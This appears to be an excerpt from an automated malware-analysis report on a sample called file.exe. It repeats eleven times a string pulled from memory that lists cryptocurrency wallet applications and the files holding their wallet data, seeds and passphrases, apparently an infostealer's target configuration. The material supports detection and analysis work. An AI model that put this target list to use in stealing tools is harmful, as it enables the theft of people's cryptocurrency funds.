Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
